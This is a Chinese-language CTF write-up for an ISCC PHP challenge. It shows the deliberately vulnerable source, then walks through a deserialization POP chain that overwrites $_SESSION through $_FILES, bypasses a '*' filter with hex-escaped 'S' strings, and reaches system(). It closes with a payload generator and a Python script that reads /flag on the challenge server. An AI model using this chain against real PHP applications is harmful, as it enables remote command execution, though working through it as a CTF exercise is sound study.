源碼:
<?php
session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);
$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;
class ISCC_Upload {
function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}
function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {
foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;
if(is_uploaded_file($iscc_file['tmp_name'])) {
$check = @getimagesize($iscc_file["tmp_name"]);
if($check !== false) {
$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);
if (file_exists($target_file)) {
echo "想啥呢?有東西了……<br>";
finalize();
exit;
}
if ($iscc_file["size"] > 500000) {
echo "東西塞不進去~<br>";
finalize();
exit;
}
if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!<br>";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(<br>";
finalize();
exit;
}
} else {
finalize();
exit;
}
} else {
echo "你真是個天才!<br>";
finalize();
exit;
}
}
}
}
class ISCC_ResetCMD {
protected $new_cmd = "echo '新新世界,發號施令!'";
function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;
if(!isset($this->new_cmd)) {
$status = "error";
$error = "你這罐子是空的!";
throw new Exception($error);
}
if(!is_string($this->new_cmd)) {
$status = "error";
$error = '東西都沒給對!';
throw new Exception($error);
}
}
function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}
}
class ISCC_Login {
function __wakeup() {
$this->login();
}
function __destruct() {
$this->logout();
}
function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}
function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}
}
class ISCC_TellMeTruth {
function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎這個 ".$_SESSION['name']." 是真相<br>";
}
function __destruct() {
echo "似乎這個 ".$_SESSION['name']." 是真相<br>";
}
}
class ISCC_Command {
function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}
function __toString() {
global $cmd;
return "看看你干的好事: {$cmd} <br>";
}
function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}
}
function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}
function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}
function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "<img src='whichisthetrueiscc.gif'><br>";
}
if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越級干好事?還是有門的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "幾輩子積累的好運就在這時~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
<input type="file" name="iscc_file">
<input type="submit" value="Upload Image" name="submit">
</form>
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪個ISCC是真的?<br>");
}
if(isset($_GET['?'])) {
$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("試試就“逝世”!"));
if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}
if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪個ISCC是真的?<br>");
}
?>
ISCC_Command類的__desturct
方法,能執行命令
function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
$cmd在ISCC_ResetCMD類被賦值
class ISCC_ResetCMD {
protected $new_cmd = "echo '新新世界,發號施令!'";
function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}
}
需要session的名為isccIsCciScc1scc,一般想要控制$_SESSION的值,都是使用變量覆蓋來做的
ISCC__Upload類
class ISCC_Upload {
function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}
function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {
foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;
通過使用 PHP 的全局數組 $_FILES,你可以從客戶計算機向遠程服務器上傳文件。
第一個參數是表單的 input name,第二個下標可以是 "name"、"type"、"size"、"tmp_name" 或 "error"。如下所示:
$_FILES["file"]["name"] - 上傳文件的名稱
$_FILES["file"]["type"] - 上傳文件的類型
$_FILES["file"]["size"] - 上傳文件的大小,以字節計
$_FILES["file"]["tmp_name"] - 存儲在服務器的文件的臨時副本的名稱
$_FILES["file"]["error"] - 由文件上傳導致的錯誤代碼
$GLOBALS['key'] = value;
全局變量的覆蓋,$is_upload
為true時會進行這個操作
在ISCC_Upload
類的__wakeup
里會被設成true:$is_upload = (count($_FILES) > 0);
但是在其他類里邊都被設置成了flase,得保證在執行ISCC_Upload
類的__wakeup
時$is_upload為true
這就需要ISCC_Upload
類的__wakeup
在這些類的最后進行,但是__destruct
要在第一個開始,需要按一定順序來構造pop鏈
反序列化過程中魔術方法的執行順序
__wakeup() > __toString() > __destruct()
function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}
存在一個waf函數,不能有*號,但是ISCC_ResetCMD
類的$new_cmd
是protected,序列化后會帶有*,用16進制繞過。最后要替換下s
php為了更加方便的進行反序列化內容的傳輸與顯示(避免都是某些控制字符等信息),可以在序列化內容中使用大寫S表示字符串,此時這個字符串就支持將后面的字符串用16進制進行表示,格式如下:
s:7:alexsel;->S:7:\61lexsel
最終:
<?php
class ISCC_Command {
}
class ISCC_ResetCMD {
protected $new_cmd = "cat /flag";
function __construct(){
$this->x=new ISCC_Command();
}
}
class ISCC_Upload {
function __construct(){
$this->y=new ISCC_ResetCMD();
}
}
$b = new ISCC_Upload();
$c=urlencode(serialize($b));
$c=str_replace("s","S",$c);
$c=str_replace("%2A",'\2a',$c);
echo $c;
最后用python上傳
import requests
url="http://39.96.91.106:7050/"
files={
'iscc_file':("b",open("1.png","rb")),
"_SESSION":("isccIsCciScc1scc","666")
}
r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files)
print(r.text)